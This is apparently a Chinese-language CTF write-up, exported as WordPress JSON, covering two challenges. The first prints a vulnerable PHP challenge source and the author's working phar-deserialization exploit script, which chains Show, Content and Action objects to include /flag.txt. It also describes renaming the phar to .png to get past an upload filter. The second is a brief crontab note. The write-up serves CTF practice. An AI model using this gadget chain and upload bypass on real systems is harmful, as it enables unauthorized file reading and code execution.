{"id":301,"date":"2026-04-13T22:58:42","date_gmt":"2026-04-13T14:58:42","guid":{"rendered":"https:\/\/arknight.wiki\/?p=301"},"modified":"2026-04-13T22:58:42","modified_gmt":"2026-04-13T14:58:42","slug":"%e9%9a%8f%e4%be%bf%e6%89%93%e7%9a%84%e4%b8%a4%e9%a2%98","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/04\/13\/%e9%9a%8f%e4%be%bf%e6%89%93%e7%9a%84%e4%b8%a4%e9%a2%98\/","title":{"rendered":"\u968f\u4fbf\u6253\u7684\u4e24\u9898"},"content":{"rendered":"

\u968f\u4fbf\u505a\u7684\u4e24\u9898\uff1a<\/h1>\n

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<?php\nclass Action {\n    protected $path;\n    protected $id;\n\n    public function isPathValid()\n    {  \n        if(strpos($this->path, 'uploads') !== false) { \n            echo \"Invalid path, access denied\";\n            exit();\n        } \n\n        if ($this->id !== 0 && $this->id !== 1) {\n            switch($this->id) {\n                case 1:\n                    if ($this->path) {\n                        include($this->path);\n                    }\n                    break;\n                case 0:\n                    throw new Exception(\"id invalid in \".__CLASS__.__FUNCTION__);\n                    break;\n                default:\n                    break;         \n            }\n        }\n    }\n}\n\nclass Content {\n\n    public $formatters;\n\n    public function format($formatter, $arguments = array())\n    {\n        return call_user_func_array($this->getFormatter($formatter), $arguments);\n    }\n\n    public function getFormatter($formatter)\n    {\n        if (isset($this->formatters[$formatter])) {\n            return $this->formatters[$formatter];\n        }\n\n        foreach ($this->providers as $provider) {\n            if (method_exists($provider, $formatter)) {\n                $this->formatters[$formatter] = array($provider, $formatter);\n                return $this->formatters[$formatter];\n            }\n        }\n        throw new InvalidArgumentException(sprintf('Unknown formatter \"%s\"', $formatter));\n    }\n\n    public function __call($method, $attributes)\n    {\n        return $this->format($method, $attributes);\n    }\n}\n\nclass Show{\n    public $source;\n    public $str;\n    public $reader;\n    public function __construct($file='index.php') {\n        $this->source = $file;\n        echo 'Welcome to '.$this->source.\"<br>\";\n    }\n    public function __toString() {\n\n        $this->str->reset();\n    }\n\n    public function __wakeup() {\n\n        if(preg_match(\"\/gopher|phar|http|file|ftp|dict|..\/i\", $this->source)) {\n            throw new Exception('invalid protocol found in '.__CLASS__);\n        }\n    }\n\n    public function reset() {\n        if ($this->reader !== null) {\n\n            $this->reader->close();\n        }\n    }\n}\n\nhighlight_file(__FILE__); <\/code><\/pre>\n
\u4e00\u773c\u53cd\u5e8f\u5217\u5316\uff0c\u5229\u7528\u94fe\u4e5f\u7b80\u5355\uff0c\u4e0d\u8fc7\u6ca1\u770b\u5230\u5165\u53e3<\/p>\n
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<?php\nclass Action\n{\n    protected $path = \"\/flag.txt\";\n    protected $id = \"1\";\n}\n\nclass Content\n{\n\n    public $formatters;\n}\n\nclass Show\n{\n    public $source;\n    public $str;\n    public $reader;\n}\n$a = new Show();\n$a->source = new Show();\n$a->source->str = new Content();\n$action = new Action();\n$phar = new Phar(\"phar.phar\");\n$phar->startBuffering();\n$phar->setStub(\"<?php __HALT_COMPILER(); ?>\"); \/\/\u8bbe\u7f6estub\n$a->source->str->formatters = ['reset' => [$action, 'isPathValid'],];\n$phar->setMetadata($a); \/\/\u81ea\u5b9a\u4e49\u7684meta-data \n$phar->addFromString(\"test.txt\", \"test\"); \/\/\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6 \n\/\/\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97,\u9ed8\u8ba4\u662fSHA1  \n$phar->stopBuffering();\n?><\/code><\/pre>\n
\u751f\u6210\u8fc7\u540e\u6539\u540e\u7f00\u4e3a.png\u4e0a\u4f20\uff08\u8fd9\u91cc\u6709waf\u62e6\u4e86\u4e00\u4e0b\uff09<\/p>\n
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phar:\/\/\u8bbf\u95ee\u5f97\u5230flag<\/p>\n
\"\"<\/div><\/p>\n
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\u7b2c\u4e8c\u9898\uff1a<\/h3>\n
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\u76f4\u63a5crontab -l<\/code>\u67e5<\/p>\n
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:wq<\/code>\u4fdd\u5b58\u5e76\u9000\u51fa\u5373\u53ef<\/p>\n","protected":false},"excerpt":{"rendered":"
\u968f\u4fbf\u505a\u7684\u4e24\u9898\uff1a \u7b2c\u4e00\u9898\uff1a \u8fdb\u6765\u767b\u5f55\u770b\u5230\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\uff1a \u770b\u9875\u9762\u6e90\u7801\u6709\u63d0\u793a \u8bbf\u95ee\u8fd9\u4e2aurl \u6709\u4e00\u4e2a\u6e90\u7801 <? […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,3],"tags":[],"class_list":["post-301","post","type-post","status-publish","format-standard","hentry","category-wp","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=301"}],"version-history":[{"count":2,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/301\/revisions"}],"predecessor-version":[{"id":314,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/301\/revisions\/314"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}